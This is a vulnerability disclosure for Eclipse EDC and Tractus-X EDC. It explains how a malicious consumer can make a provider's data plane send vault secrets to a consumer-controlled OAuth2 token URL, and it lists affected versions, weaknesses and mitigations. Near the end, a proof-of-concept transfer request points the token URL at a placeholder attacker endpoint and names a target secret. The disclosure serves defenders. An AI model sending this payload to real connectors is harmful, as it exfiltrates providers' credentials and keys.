Eclipse EDC: OAuth2 Credential Exfiltration Vulnerability
Basic information
Project name: Eclipse EDC
Project id: technology.edc
Details of the issue
Reported on the security ML:
We have identified a security vulnerability in the EDC project (https://github.com/eclipse-edc/Connector) version 0.2.1 (at least down to version MS8) regarding the OAuth2-protected data sink feature which we rate with at a 9.3/10 CRITICAL CVSS v4.0 score. This project is also used in the Eclipse project (https://github.com/eclipse-tractusx/tractusx-edc) where we can verify the vulnerability at least for release 0.5.4. As we have identified a recent code change in Tractus-X EDC that now allows to exploit the vulnerability by default, we prioritized disclosure over further deeper analysis and reproducibility of latest released versions, since we want to avoid any negative impact including reputation on the young projects and data space initiatives like Catena-X. To our opinion (concluded by a first review of the current code) the vulnerability most probably persists for Connector version 0.6.2 and Tractus-X EDC version 0.7.0
When using a custom, OAuth2-protected data sink, the OAuth2-specific data address properties are resolved by the provider data plane. Problematically, the consumer-provided clientSecretKey, which indicates the OAuth2 client secret to retrieve from a secrets vault, is resolved in the context of the provider's vault, not the consumer. This secret's value is then sent to the tokenUrl, also consumer-controlled, as part of an OAuth2 client credentials grant. The returned access token is then sent as a bearer token to the data sink URL.
Details
The vulnerability is twofold, but the core issue is that the provider data plane resolves clientSecretKeys specified in data sink data addresses provided by consumers. This means that a malicious consumer can induce the provider to load any known secret from the provider's vault and use it as an OAuth2 client secret, with the resulting token being sent to the consumer-controlled data sink. This alone already allows significant credential exfiltration: If a malicious consumer knows that the client secret for a known client ID is stored at a known vault key, e.g., because the provider themself has an OAuth2-protected data source, the consumer can harvest the resulting access token from their data sink and use it to authorize against such protected resource that should only be accessible by the provider.
The second part is that the tokenUrl, to which the provider submits the resolved credentials to retrieve an access token, is also controlled by the consumer. With the previously described attack, it was only possible to exfiltrate OAuth2 access tokens, which are usually short-lived and require the attacker to know the corresponding client ID and token URL. However, by providing an attacker-controlled endpoint as the tokenUrl, the attacker can exfiltrate arbitrary secrets from the provider's vault, as the provider data plane will send the resolved secret to that endpoint as part of an OAuth2 client credentials grant. This allows exfiltration of longer-lived secrets like OAuth2 client secret, cryptographic keys, etc. Notably, compared to the first attack, an attacker needs significantly less information to conduct this attack; they only need to know the desired secret's name ("key") in the secrets vault.
The latter problem is exacerbated by the fact that third-party integrations, like the Simple Data Exchanger, a Catena-X component, also under stewardship of the Eclipse Tractus-X project, that integrates with the EDC, may require certain secrets to be created with fixed names. Therefore, if an attacker knows such applications are in use, they know the corresponding secret is likely to exist, making it a prime target for exfiltration. Alternatively, dictionary attacks and brute force may be viable approaches to extract other secrets that may or may not exist. Technical Description
This issue has been reproduced in core-EDC version 0.2.1. It arises if the data-plane-http-oauth2 extension is used with the ProviderPushTransferDataFlowController of the transfer-data-plane Extension. The Oauth2HttpRequestParamsDecorator will be invoked for both SourceDataAddress as well as DestinationDataAddress in the HttpRequestParamsProviderImpl, executed by the provider data-plane. When building the Oauth2CredentialsRequest in the Oauth2CredentialsRequestFactory the vault is invoked to resolve the secret from the passed DataAddress. It is also invoked for the DestinationDataAddress, which is passed by the consumer and can be manipulated by an attacker. An attacker can freely choose the alias to be resolved in the "oauth2:clientSecretKey" property. The resolved secret is then sent to the URL specified in the "oauth2:tokenUrl" property.
The issue can be resolved by removing the Oauth2HttpRequestParamsDecorator for Sinks in the DataPlaneHttpOauth2Extension. However, this would lead to removing the OAuth2 feature for sinks using push transfers. Impact
Given an EDC instance with a single publicly available contract definition, the described attack allows any attacker in the same data space as the target to exfiltrate arbitrary secrets from the target's secrets vault, including internal credentials, such as those for authentication via SSI/MIW or DAPS.
We have assessed this vulnerability at a 9.3/10 CRITICAL CVSS v4.0 score. CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/AU:Y/R:U/V:C/RE:H/U:Red Weaknesses
[CWE-201](https://cwe.mitre.org/data/definitions/201.html): Insertion of Sensitive Information Into Sent Data
[CWE-522](https://cwe.mitre.org/data/definitions/522.html): Insufficiently Protected Credentials
Affected versions and configurations
We have tested against version 0.5.4 of the Tractus-X EDC distribution, based on version 0.2.1 of the core EDC. To deploy the Tractus-X EDC, we used the Helm chart contained in the repository itself. To reproduce the issue, we had to enable HttpData in the destination types by adding it to the environment variable EDC_DATAPLANE_SELECTOR_DEFAULTPLANE_DESTINATIONTYPES in the control plane. Its final value was HttpProxy,AmazonS3,HttpData, with the first two being the default value set by the chart itself. Notably, this change was recently made default in pull request #1244.
We were unfortunately unable to test against latest core EDC versions. However, we have inspected the code and relevant portions have not been modified since, so we believe the issue may still be present in current versions. Mitigation
Until fixes are made available, the following mitigation approaches exist:
Disable support for OAuth2-protected data sinks entirely
Employ WAF solutions to reject requests containing clientSecretKeys
Include a cryptographically secure random component in each secret name in the secrets vaults
Ensure all available contract definitions can only be consumed by trusted consumers
Disable data plane secrets vault access entirely (may break other functionality)
Disabling of OAuth2-protected data sinks
If recompiling the EDC from source is an option, then removing this line of code will alleviate the vulnerability: https://github.com/eclipse-edc/Connector/blob/v0.2.1/extensions/data-plane/data-plane-http-oauth2-core/src/main/java/org/eclipse/edc/connector/dataplane/http/oauth2/DataPlaneHttpOauth2Extension.java#L61 Proof of Concept
Provider (attack target): create publicly available contract definition
Consumer (attacker)
Negotiate contract for previously created contract definition
Initiate transfer to OAuth2-protected data sink For that, send a POST request to /v2/transferprocesses of the consuming connector's management API with the following body. json { "@type": https://w3id.org/edc/v0.0.1/ns/TransferRequest, https://w3id.org/edc/v0.0.1/ns/assetId: "{{ASSET_ID}}", https://w3id.org/edc/v0.0.1/ns/contractId: "{{CONTRACT_ID}}", https://w3id.org/edc/v0.0.1/ns/connectorAddress: "{{PROVIDER_EDC_DSP_ENDPOINT}}", https://w3id.org/edc/v0.0.1/ns/connectorId: "{{PROVIDER_EDC_PARTICIPANT_ID}}", https://w3id.org/edc/v0.0.1/ns/dataDestination: { https://w3id.org/edc/v0.0.1/ns/type: "HttpData", https://w3id.org/edc/v0.0.1/ns/baseUrl: "{{attacker_controlled_endpoint}}", "oauth2:tokenUrl": "{{attacker_controlled_endpoint}}", "oauth2:clientId": "example", "oauth2:clientSecretKey": "{{target_vault_secret_key}}" }, https://w3id.org/edc/v0.0.1/ns/properties: {}, https://w3id.org/edc/v0.0.1/ns/privateProperties: {}, https://w3id.org/edc/v0.0.1/ns/protocol: "dataspace-protocol-http", https://w3id.org/edc/v0.0.1/ns/managedResources: false }
After initiating the transfer, the selected secret will be sent to the {{attacker_controlled_endpoint}} as the client_secret paramater of an application/x-www-form-urlencoded POST request.